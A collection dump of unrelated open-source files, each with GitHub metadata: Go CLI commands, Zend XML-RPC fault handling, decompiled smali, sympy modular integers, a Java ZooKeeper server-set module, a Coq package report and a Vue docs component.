snapshot", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionSnapshot, } } type noArgDropletFn func(c *cli.Context) func noArgDropletCommand(name, usage string, fn noArgDropletFn) cli.Command { return cli.Command{ Name: name, Usage: usage, Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, jsonFlag(), textFlag(), }, Action: fn, } } func dropletActionGet() cli.Command { return cli.Command{ Name: "get", Usage: "get droplet action", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id", }, cli.StringFlag{ Name: "action-id", Usage: "action id", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionGet, } }
{ "content_hash": "061e4d1fc76e4fb94740b548eb649b54", "timestamp": "", "source": "github", "line_count": 243, "max_line_length": 94, "avg_line_length": 21.11934156378601, "alnum_prop": 0.6648480124707716, "repo_name": "aybabtme/doit", "id": "60291985314e97c40730080e91c849f30a27ac18", "size": "5132", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "cmd/docli/droplet_action_commands.go", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Go", "bytes": "119980" } ], "symlink_target": "" }
<?php /** * Zend_XmlRpc_Value */ require_once 'Zend/XmlRpc/Value.php'; /** * Zend_XmlRpc_Exception */ require_once 'Zend/XmlRpc/Exception.php'; /** * XMLRPC Faults * * Container for XMLRPC faults, containing both a code and a message; * additionally, has methods for determining if an XML response is an XMLRPC * fault, as well as generating the XML for an XMLRPC fault response. * * To allow method chaining, you may only use the {@link getInstance()} factory * to instantiate a Zend_XmlRpc_Server_Fault. * * @category Zend * @package Zend_XmlRpc * @copyright Copyright (c) 2005-2007 Zend Technologies USA Inc. (http://www.zend.com) * @license http://www.zend.com/license/framework/1_0.txt Zend Framework License version 1.0 */ class Zend_XmlRpc_Fault { /** * Fault code * @var int */ protected $_code; /** * Fault character encoding * @var string */ protected $_encoding = 'UTF-8'; /** * Fault message * @var string */ protected $_message; /** * Internal fault codes => messages * @var array */ protected $_internal = array( 404 => 'Unknown Error', // 610 - 619 reflection errors 610 => 'Invalid method class', 611 => 'Unable to attach function or callback; not callable', 612 => 'Unable to load array; not an array', 613 => 'One or more method records are corrupt or otherwise unusable', // 620 - 629 dispatch errors 620 => 'Method does not exist', 621 => 'Error instantiating class to invoke method', 622 => 'Method missing implementation', 623 => 'Calling parameters do not match signature', // 630 - 639 request errors 630 => 'Unable to read request', 631 => 'Failed to parse request', 632 => 'Invalid request, no method passed; request must contain a \'methodName\' tag', 633 => 'Param must contain a value', 634 => 'Invalid method name', 635 => 'Invalid XML provided to request', 636 => 'Error creating xmlrpc value', // 640 - 649 system.* errors 640 => 'Method does not exist', // 650 - 659 response errors 650 => 'Invalid XML provided for response', 651 => 'Failed to parse response', 652 => 'Invalid response', 653 => 'Invalid XMLRPC value in response', ); /** * Constructor * * @return Zend_XmlRpc_Fault */ public function __construct($code = 404, $message = '') { $this->setCode($code); $code = $this->getCode(); if (empty($message) && isset($this->_internal[$code])) { $message = $this->_internal[$code]; } elseif (empty($message)) { $message = 'Unknown error'; } $this->setMessage($message); } /** * Set the fault code * * @param int $code * @return Zend_XmlRpc_Fault */ public function setCode($code) { $this->_code = (int) $code; return $this; } /** * Return fault code * * @return int */ public function getCode() { return $this->_code; } /** * Retrieve fault message * * @param string * @return Zend_XmlRpc_Fault */ public function setMessage($message) { $this->_message = (string) $message; return $this; } /** * Retrieve fault message * * @return string */ public function getMessage() { return $this->_message; } /** * Set encoding to use in fault response * * @param string $encoding * @return Zend_XmlRpc_Fault */ public function setEncoding($encoding) { $this->_encoding = $encoding; return $this; } /** * Retrieve current fault encoding * * @return string */ public function getEncoding() { return $this->_encoding; } /** * Load an XMLRPC fault from XML * * @param string $fault * @return boolean Returns true if successfully loaded fault response, false * if response was not a fault response * @throws Zend_XmlRpc_Exception if no or faulty XML provided, or if fault * response does not contain either code or message */ public function loadXml($fault) { if (!is_string($fault)) { throw new Zend_XmlRpc_Exception('Invalid XML provided to fault'); } try { $xml = @new SimpleXMLElement($fault); } catch (Exception $e) { // Not valid XML throw new Zend_XmlRpc_Exception('Failed to parse XML fault: ' . $e->getMessage(), 500); } // Check for fault if (!$xml->fault) { // Not a fault return false; } if (!$xml->fault->value->struct) { // not a proper fault throw new Zend_XmlRpc_Exception('Invalid fault structure', 500); } $structXml = $xml->fault->value->asXML(); $structXml = preg_replace('/<\?xml version=.*?\?>/i', '', $structXml); $struct = Zend_XmlRpc_Value::getXmlRpcValue(trim($structXml), Zend_XmlRpc_Value::XML_STRING); $struct = $struct->getValue(); if (isset($struct['faultCode'])) { $code = $struct['faultCode']; } if (isset($struct['faultString'])) { $message = $struct['faultString']; } if (empty($code) && empty($message)) { throw new Zend_XmlRpc_Exception('Fault code and string required'); } if (empty($code)) { $code = '404'; } if (empty($message)) { if (isset($this->_internal[$code])) { $message = $this->_internal[$code]; } else { $message = 'Unknown Error'; } } $this->setCode($code); $this->setMessage($message); return true; } /** * Determine if an XML response is an XMLRPC fault * * @param string $xml * @return boolean */ public static function isFault($xml) { $fault = new self(); try { $isFault = $fault->loadXml($xml); } catch (Zend_XmlRpc_Exception $e) { $isFault = false; } return $isFault; } /** * Serialize fault to XML * * @return string */ public function saveXML() { // Create fault value $faultStruct = array( 'faultCode' => $this->getCode(), 'faultString' => $this->getMessage() ); $value = Zend_XmlRpc_Value::getXmlRpcValue($faultStruct); $valueDOM = new DOMDocument('1.0', $this->getEncoding()); $valueDOM->loadXML($value->saveXML()); // Build response XML $dom = new DOMDocument('1.0', 'ISO-8859-1'); $r = $dom->appendChild($dom->createElement('methodResponse')); $f = $r->appendChild($dom->createElement('fault')); $f->appendChild($dom->importNode($valueDOM->documentElement, 1)); return $dom->saveXML(); } /** * Return XML fault response * * @return string */ public function __toString() { return $this->saveXML(); } }
{ "content_hash": "849154f6e2b35c40aa548c7060bd1906", "timestamp": "", "source": "github", "line_count": 290, "max_line_length": 104, "avg_line_length": 25.5, "alnum_prop": 0.5360378634212306, "repo_name": "KDVS/radio-library", "id": "949ec5a57f5bdc53876a516e71f75c5c2514c917", "size": "8130", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "library/Zend/XmlRpc/Fault.php", "mode": "33261", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "290445" }, { "name": "PHP", "bytes": "6481118" }, { "name": "Perl", "bytes": "18344" } ], "symlink_target": "" }
.class final Lo/aj$ˀ; .super Lo/ah; # annotations .annotation system Ldalvik/annotation/EnclosingClass; value = Lo/aj; .end annotation .annotation system Ldalvik/annotation/InnerClass; accessFlags = 0x18 name = "\u02c0" .end annotation # instance fields .field private final ˊ:Lo/ᒯ$ˋ; .annotation system Ldalvik/annotation/Signature; value = { "Lo/\u14af$\u02cb<Lo/ga$If;>;" } .end annotation .end field # direct methods .method public constructor <init>(Lo/ᒯ$ˋ;)V .locals 1 .annotation system Ldalvik/annotation/Signature; value = { "(Lo/\u14af$\u02cb<Lo/ga$If;>;)V" } .end annotation invoke-direct {p0}, Lo/ah;-><init>()V const-string v0, "Holder must not be null" invoke-static {p1, v0}, Lo/mG;->ˊ(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; move-result-object v0 check-cast v0, Lo/ᒯ$ˋ; iput-object v0, p0, Lo/aj$ˀ;->ˊ:Lo/ᒯ$ˋ; return-void .end method # virtual methods .method public ﹺ(Lcom/google/android/gms/common/data/DataHolder;)V .locals 2 iget-object v0, p0, Lo/aj$ˀ;->ˊ:Lo/ᒯ$ˋ; new-instance v1, Lo/aj$ˡ; invoke-direct {v1, p1}, Lo/aj$ˡ;-><init>(Lcom/google/android/gms/common/data/DataHolder;)V invoke-interface {v0, v1}, Lo/ᒯ$ˋ;->ˊ(Ljava/lang/Object;)V return-void .end method
{ "content_hash": "0ae06e66ae5b36f3173c819f9c740a30", "timestamp": "", "source": "github", "line_count": 64, "max_line_length": 94, "avg_line_length": 21.28125, "alnum_prop": 0.6431718061674009, "repo_name": "gelldur/jak_oni_to_robia_prezentacja", "id": "d931f20ba375e07153017e2bb2feabd2fef59f9e", "size": "1392", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "Starbucks/output/smali/o/aj$ˀ.smali", "mode": "33188", "license": "mit", "language": [ { "name": "Java", "bytes": "8427" }, { "name": "Shell", "bytes": "2303" }, { "name": "Smali", "bytes": "57557982" } ], "symlink_target": "" }
"""Implementation of :class:`ModularInteger` class. """ class ModularInteger(object): """A class representing an modular integers. """ mod, dom, sym = None, None, None __slots__ = ['val'] def __init__(self, val): self.val = val % self.mod def __hash__(self): return hash((self.val, self.mod)) def __repr__(self): return "%s(%s)" % (self.__class__.__name__, self.val) def __str__(self): return "%s mod %s" % (self.val, self.mod) def __int__(self): return int(self.to_int()) def to_int(self): if self.sym: if self.val <= self.mod // 2: return self.val else: return self.val - self.mod else: return self.val def __pos__(self): return self def __neg__(self): return self.__class__(-self.val) def __add__(self, other): return self.__class__(self.val + other.val) def __sub__(self, other): return self.__class__(self.val - other.val) def __mul__(self, other): return self.__class__(self.val * other.val) def __div__(self, other): return self.__class__(self.val * self.dom.invert(other.val, self.mod)) __truediv__ = __div__ def __mod__(self, other): return self.__class__(self.val % other.val) def __pow__(self, exp): if not exp: return self.__class__(self.dom.one) if exp < 0: val, exp = self.dom.invert(self.val, self.mod), -exp else: val = self.val return self.__class__(val**exp) def __eq__(self, other): return isinstance(other, ModularInteger) and self.val == other.val def __ne__(self, other): return not isinstance(other, ModularInteger) or self.val != other.val def __nonzero__(self): return bool(self.val) def ModularIntegerFactory(_mod, _dom, _sym): """Create custom class for specific integer modulus.""" class cls(ModularInteger): mod, dom, sym = _dom.convert(_mod), _dom, _sym if _sym: cls.__name__ = "SymmetricModularInteger%s" % _mod else: cls.__name__ = "ModularInteger%s" % _mod return cls
{ "content_hash": "03cbdd1fa435a0d6c0236f06fa9c4345", "timestamp": "", "source": "github", "line_count": 88, "max_line_length": 78, "avg_line_length": 25.318181818181817, "alnum_prop": 0.533213644524237, "repo_name": "pernici/sympy", "id": "9a85713b9f99bb0a73d859752bb72e498b8d3cf9", "size": "2228", "binary": false, "copies": "5", "ref": "refs/heads/master", "path": "sympy/polys/domains/modularinteger.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Python", "bytes": "6531741" }, { "name": "Scheme", "bytes": "125" }, { "name": "TeX", "bytes": "8" }, { "name": "XSLT", "bytes": "366202" } ], "symlink_target": "" }
framework制作2 http://blog.csdn.net/yohunl/article/details/47982949
{ "content_hash": "03c917fed510978d8291ae437bb89508", "timestamp": "", "source": "github", "line_count": 3, "max_line_length": 52, "avg_line_length": 22.333333333333332, "alnum_prop": 0.8208955223880597, "repo_name": "chenchangqing/frameworkMake2", "id": "3162c67ed9b4665b485925d493b06551095cb0ae", "size": "88", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Objective-C", "bytes": "919330" }, { "name": "Ruby", "bytes": "305" }, { "name": "Shell", "bytes": "14404" }, { "name": "Swift", "bytes": "11980" } ], "symlink_target": "" }
<?php /* *--------------------------------------------------------------- * UI configuration *--------------------------------------------------------------- */ return array( /* * Form configurations */ 'form' => array( // You can disable the builder this means // Form will generate simple HTML and not // run the themed options. // For example the control-label class is // generated by the Builder_Bootstrap 'builder_enabled' => true, // form id formatter 'form_id_format' => '%s-form', // input id formatter 'input_id_format' => '%s-input', // label id formatter 'label_id_format' => '%s-label', // checkbox id formatter 'checkbox_id_format' => '%s-check', // textarea id formatter 'textarea_id_format' => '%s-text', // select id formatter 'select_id_format' => '%s-select', ), );
{ "content_hash": "66ed97d0cec2f3cb7b8a2d936149c37d", "timestamp": "", "source": "github", "line_count": 39, "max_line_length": 65, "avg_line_length": 21.974358974358974, "alnum_prop": 0.5134189031505251, "repo_name": "ClanCats/Core", "id": "0b166454a450aa9f16570c9b7f602e95cf21355c", "size": "857", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/config/ui.config.php", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "5007" }, { "name": "PHP", "bytes": "815258" } ], "symlink_target": "" }
// ================================================================================================= // Copyright 2012 Twitter, Inc. // ------------------------------------------------------------------------------------------------- // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this work except in compliance with the License. // You may obtain a copy of the License in the LICENSE file, or at: // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ================================================================================================= package com.twitter.common.zookeeper.guice; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.net.InetSocketAddress; import java.util.Map; import java.util.concurrent.atomic.AtomicReference; import java.util.logging.Level; import java.util.logging.Logger; import static java.lang.annotation.ElementType.FIELD; import static java.lang.annotation.ElementType.METHOD; import static java.lang.annotation.ElementType.PARAMETER; import static java.lang.annotation.RetentionPolicy.RUNTIME; import javax.annotation.Nullable; import com.google.common.base.Optional; import com.google.common.base.Preconditions; import com.google.common.util.concurrent.Atomics; import com.google.inject.BindingAnnotation; import com.google.inject.AbstractModule; import com.google.inject.Inject; import com.google.inject.Provides; import com.google.inject.Singleton; import com.google.inject.TypeLiteral; import com.twitter.common.application.ShutdownRegistry; import com.twitter.common.application.modules.LifecycleModule; import com.twitter.common.application.modules.LocalServiceRegistry; import com.twitter.common.args.Arg; import com.twitter.common.args.CmdLine; import com.twitter.common.args.constraints.NotEmpty; import com.twitter.common.args.constraints.NotNull; import com.twitter.common.base.Command; import com.twitter.common.base.ExceptionalCommand; import com.twitter.common.base.Supplier; import com.twitter.common.zookeeper.Group.JoinException; import com.twitter.common.zookeeper.ServerSet; import com.twitter.common.zookeeper.ServerSet.EndpointStatus; import com.twitter.common.zookeeper.ServerSet.UpdateException; import com.twitter.common.zookeeper.ServerSetImpl; import com.twitter.common.zookeeper.ZooKeeperClient; import com.twitter.thrift.Status; import static com.google.common.base.Preconditions.checkNotNull; /** * A module that registers all ports in the {@link LocalServiceRegistry} in an {@link ServerSet}. * * Required bindings: * <ul> * <li> {@link ZooKeeperClient} * <li> {@link ShutdownRegistry} * <li> {@link LocalServiceRegistry} * </ul> * * {@link LifecycleModule} must also be included by users so a startup action may be registered. * * Provided bindings: * <ul> * <li> {@link Supplier<EndpointStatus>} * </ul> * * @author William Farner */ public class ServerSetModule extends AbstractModule { /** * BindingAnnotation for defaults to use in the service instance node. */ @BindingAnnotation @Target({ PARAMETER, METHOD, FIELD }) @Retention(RUNTIME) private @interface Default { } @NotNull @NotEmpty @CmdLine(name = "serverset_path", help = "ServerSet registration path") protected static final Arg<String> SERVERSET_PATH = Arg.create(null); @CmdLine(name = "aux_port_as_primary", help = "Name of the auxiliary port to use as the primary port in the server set." + " This may only be used when no other primary port is specified.") private static final Arg<String> AUX_PORT_AS_PRIMARY = Arg.create(null); private static final Logger LOG = Logger.getLogger(ServerSetModule.class.getName()); private final Status initialStatus; private final Optional<String> auxPortAsPrimary; /** * Calls {@link #ServerSetModule(Optional)} with an absent value. */ public ServerSetModule() { this(Optional.<String>absent()); } /** * Calls {@link #ServerSetModule(Status, Optional)} with initial status {@link Status#ALIVE}. * * @param auxPortAsPrimary Name of the auxiliary port to use as the primary port. */ public ServerSetModule(Optional<String> auxPortAsPrimary) { this(Status.ALIVE, auxPortAsPrimary); } /** * Constructs a ServerSetModule that registers a startup action that registers this process in * ZooKeeper, with the specified initial Status. * * @param initialStatus initial Status to report to ZooKeeper. */ public ServerSetModule(Status initialStatus) { this(initialStatus, Optional.<String>absent()); } /** * Constructs a ServerSetModule that registers a startup action to register this process in * ZooKeeper, with the specified initial status and auxiliary port to represent as the primary * service port. * * @param initialStatus initial Status to report to ZooKeeper. * @param auxPortAsPrimary Name of the auxiliary port to use as the primary port. */ public ServerSetModule(Status initialStatus, Optional<String> auxPortAsPrimary) { this.initialStatus = Preconditions.checkNotNull(initialStatus); this.auxPortAsPrimary = Preconditions.checkNotNull(auxPortAsPrimary); } @Override protected void configure() { requireBinding(ZooKeeperClient.class); requireBinding(ShutdownRegistry.class); requireBinding(LocalServiceRegistry.class); LifecycleModule.bindStartupAction(binder(), ServerSetJoiner.class); bind(new TypeLiteral<Supplier<EndpointStatus>>() { }).to(EndpointSupplier.class); bind(EndpointSupplier.class).in(Singleton.class); bind(Status.class).annotatedWith(Default.class).toInstance(initialStatus); Optional<String> primaryPortName; if (AUX_PORT_AS_PRIMARY.hasAppliedValue()) { primaryPortName = Optional.of(AUX_PORT_AS_PRIMARY.get()); } else { primaryPortName = auxPortAsPrimary; } bind(new TypeLiteral<Optional<String>>() { }).annotatedWith(Default.class) .toInstance(primaryPortName); } @Provides @Singleton ServerSet provideServerSet(ZooKeeperClient zkClient) { return new ServerSetImpl(zkClient, SERVERSET_PATH.get()); } static class EndpointSupplier implements Supplier<EndpointStatus> { private final AtomicReference<EndpointStatus> reference = Atomics.newReference(); @Nullable @Override public EndpointStatus get() { return reference.get(); } void set(EndpointStatus endpoint) { reference.set(endpoint); } } private static class ServerSetJoiner implements Command { private final ServerSet serverSet; private final LocalServiceRegistry serviceRegistry; private final ShutdownRegistry shutdownRegistry; private final EndpointSupplier endpointSupplier; private final Status initialStatus; private final Optional<String> auxPortAsPrimary; @Inject ServerSetJoiner( ServerSet serverSet, LocalServiceRegistry serviceRegistry, ShutdownRegistry shutdownRegistry, EndpointSupplier endpointSupplier, @Default Status initialStatus, @Default Optional<String> auxPortAsPrimary) { this.serverSet = checkNotNull(serverSet); this.serviceRegistry = checkNotNull(serviceRegistry); this.shutdownRegistry = checkNotNull(shutdownRegistry); this.endpointSupplier = checkNotNull(endpointSupplier); this.initialStatus = checkNotNull(initialStatus); this.auxPortAsPrimary = checkNotNull(auxPortAsPrimary); } @Override public void execute() { Optional<InetSocketAddress> primarySocket = serviceRegistry.getPrimarySocket(); Map<String, InetSocketAddress> auxSockets = serviceRegistry.getAuxiliarySockets(); InetSocketAddress primary; if (primarySocket.isPresent()) { primary = primarySocket.get(); } else if (auxPortAsPrimary.isPresent()) { primary = auxSockets.get(auxPortAsPrimary.get()); if (primary == null) { throw new IllegalStateException("No auxiliary port named " + auxPortAsPrimary.get()); } } else { throw new IllegalStateException("No primary service registered with LocalServiceRegistry," + " and -aux_port_as_primary was not specified."); } final EndpointStatus endpointStatus; try { endpointStatus = serverSet.join(primary, auxSockets, initialStatus); endpointSupplier.set(endpointStatus); } catch (JoinException e) { LOG.log(Level.WARNING, "Failed to join ServerSet.", e); throw new RuntimeException(e); } catch (InterruptedException e) { LOG.log(Level.WARNING, "Interrupted while joining ServerSet.", e); Thread.currentThread().interrupt(); throw new RuntimeException(e); } shutdownRegistry.addAction(new ExceptionalCommand<UpdateException>() { @Override public void execute() throws UpdateException { LOG.info("Leaving ServerSet."); endpointStatus.update(Status.DEAD); } }); } } }
{ "content_hash": "bf99217700ace0edcb56b7cddfc7b0f0", "timestamp": "", "source": "github", "line_count": 249, "max_line_length": 100, "avg_line_length": 37.558232931726906, "alnum_prop": 0.7148203592814372, "repo_name": "imsut/commons", "id": "fb4d35e31892d4281b39bde3098d05b53a573f3c", "size": "9352", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "src/java/com/twitter/common/zookeeper/guice/ServerSetModule.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "2167231" }, { "name": "Python", "bytes": "1336868" }, { "name": "Scala", "bytes": "24999" }, { "name": "Shell", "bytes": "6330" }, { "name": "Smalltalk", "bytes": "10614" } ], "symlink_target": "" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ccs: Not compatible</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / released</a></li> <li class="active"><a href="">8.10.0 / ccs - 8.5.0</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> ccs <small> 8.5.0 <span class="label label-info">Not compatible</span> </small> </h1> <p><em><script>document.write(moment("2020-07-16 08:04:26 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2020-07-16 08:04:26 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-num base Num library distributed with the OCaml compiler base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils conf-m4 1 Virtual package relying on m4 coq 8.10.0 Formal proof management system num 0 The Num library for arbitrary-precision integer and rational arithmetic ocaml 4.05.0 The OCaml compiler (virtual package) ocaml-base-compiler 4.05.0 Official 4.05.0 release ocaml-config 1 OCaml Switch Configuration ocamlfind 1.8.1 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;matej.kosik@inria.fr&quot; homepage: &quot;https://github.com/coq-contribs/ccs&quot; license: &quot;Proprietary&quot; build: [make &quot;-j%{jobs}%&quot;] install: [make &quot;install&quot;] remove: [&quot;rm&quot; &quot;-R&quot; &quot;%{lib}%/coq/user-contrib/CCS&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {&gt;= &quot;8.5&quot; &amp; &lt; &quot;8.6~&quot;} ] tags: [ &quot;keyword:labelled transitions systems&quot; &quot;keyword:process algebra&quot; &quot;keyword:calculus of concurrent process (ccs)&quot; &quot;category:Computer Science/Concurrent Systems and Protocols/Theory of concurrent systems&quot; ] authors: [ &quot;Solange Coupet-Grimal &lt;&gt;&quot; ] bug-reports: &quot;https://github.com/coq-contribs/ccs/issues&quot; dev-repo: &quot;git+https://github.com/coq-contribs/ccs.git&quot; synopsis: &quot;Equivalence notions on labelled transitions systems&quot; description: &quot;&quot;&quot; We give the specification of three different notions of equivalence classically defined on labelled transitions systems underlying the theories of process algebra (and particularly CCS). The fundamentals properties of these equivalence notions are proven.&quot;&quot;&quot; flags: light-uninstall url { src: &quot;https://github.com/coq-contribs/ccs/archive/v8.5.0.tar.gz&quot; checksum: &quot;md5=4aed16c1b73ac30303c4acca8084874d&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-ccs.8.5.0 coq.8.10.0</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.10.0). The following dependencies couldn&#39;t be met: - coq-ccs -&gt; coq &lt; 8.6~ -&gt; ocaml &lt; 4.03.0 base of this switch (use `--unlock-base&#39; to force) Your request can&#39;t be satisfied: - No available version of coq satisfies the constraints No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-ccs.8.5.0</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> <small>Sources are on <a href="https://github.com/coq-bench">GitHub</a>. © Guillaume Claret.</small> </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
{ "content_hash": "a737d9ee90bec444a90a40e09f351d70", "timestamp": "", "source": "github", "line_count": 168, "max_line_length": 251, "avg_line_length": 42.535714285714285, "alnum_prop": 0.5523369717324377, "repo_name": "coq-bench/coq-bench.github.io", "id": "c887430d3a5d2b2b781b065f3fa416254c77f4e7", "size": "7148", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "clean/Linux-x86_64-4.05.0-2.0.6/released/8.10.0/ccs/8.5.0.html", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:paddingBottom="@dimen/activity_vertical_margin" android:paddingLeft="@dimen/activity_horizontal_margin" android:paddingRight="@dimen/activity_horizontal_margin" android:paddingTop="@dimen/activity_vertical_margin" app:layout_behavior="@string/appbar_scrolling_view_behavior" tools:context=".ui.CreateEventActivity" tools:showIn="@layout/activity_create_event"> </RelativeLayout>
{ "content_hash": "d1dffd33b2c9c1a4e88d0bc012402279", "timestamp": "", "source": "github", "line_count": 15, "max_line_length": 74, "avg_line_length": 47.86666666666667, "alnum_prop": 0.7479108635097493, "repo_name": "pretizy/activity-tracker", "id": "7c03ba8c98a01df98e1080daa603eb52df0ffcd3", "size": "718", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/src/main/res/layout/content_main2.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "67472" } ], "symlink_target": "" }
<dc:language>en-US</dc:language> <dc:creator opf:file-as="Supreme Court of the United States" opf:role="aut">Supreme Court of the United States</dc:creator> <dc:publisher>Supreme Court of the United States republished via Cornell Internet Law</dc:publisher> <dc:rights>Creative Commons</dc:rights> <dc:title>GRAY v. MARYLAND</dc:title>
{ "content_hash": "fd1546b503a963f2125e57cd38757cb1", "timestamp": "", "source": "github", "line_count": 5, "max_line_length": 123, "avg_line_length": 67.2, "alnum_prop": 0.7738095238095238, "repo_name": "riordan/judiciary_ebooks", "id": "b29e5897c3ff8ce0e1a87a883ea1ea84d6db7e5c", "size": "336", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "html/96-8653/metadata.xml", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "438" }, { "name": "Python", "bytes": "734" }, { "name": "Ruby", "bytes": "2588" } ], "symlink_target": "" }
import { mergeData } from 'vue-functional-data-merge' import { scrollTargetIntoView } from '~/utils' // --- Utility methods --- // Convert local links to router push or scroll target into view const linkToRouter = event => { if (!event || event.type !== 'click') { return } const $target = event.target && event.target.closest ? event.target.closest('a[href]') : null // Early exit if click inside an example, not a link, // or default prevented or is a Vue instance if ( !$target || event.type !== 'click' || $target.__vue__ || $target.closest('.bd-example') || $target.closest('pre') || event.defaultPrevented ) { return } const href = $target.getAttribute('href') if (href && href.indexOf('/') === 0 && href.indexOf('//') !== 0) { // If local page-to-page-docs link, convert click to `$router.push()` event.preventDefault() if (typeof window !== 'undefined' && window.$nuxt) { // Since we are a functional component, we can't use `this.$router` window.$nuxt.$router.push(href) } } else if (href && href.indexOf('#') === 0) { // In page anchor link, so use `scrollTargetIntoView` utility method scrollTargetIntoView(event, href) } // Else, normal browser link handling (i.e. external links) } // @vue/component export default { name: 'BVSection', functional: true, props: { tag: { type: String, default: 'section' }, play: { type: Boolean, default: false } }, render(h, { props, data, children }) { const directives = [] if (props.play) { directives.push({ name: 'play' }) } return h( props.tag, mergeData(data, { class: ['bd-content'], directives, on: { click: linkToRouter } }), [children] ) } }
{ "content_hash": "4499f1a7102a96f182685e921c516139", "timestamp": "", "source": "github", "line_count": 70, "max_line_length": 95, "avg_line_length": 26.3, "alnum_prop": 0.5822922324823465, "repo_name": "bootstrap-vue/bootstrap-vue", "id": "0c3901e4c1c48f806e38d8bba0cbe348c31301b4", "size": "1841", "binary": false, "copies": "1", "ref": "refs/heads/dev", "path": "docs/components/section.js", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "3194992" }, { "name": "SCSS", "bytes": "76234" }, { "name": "Shell", "bytes": "4873" } ], "symlink_target": "" }
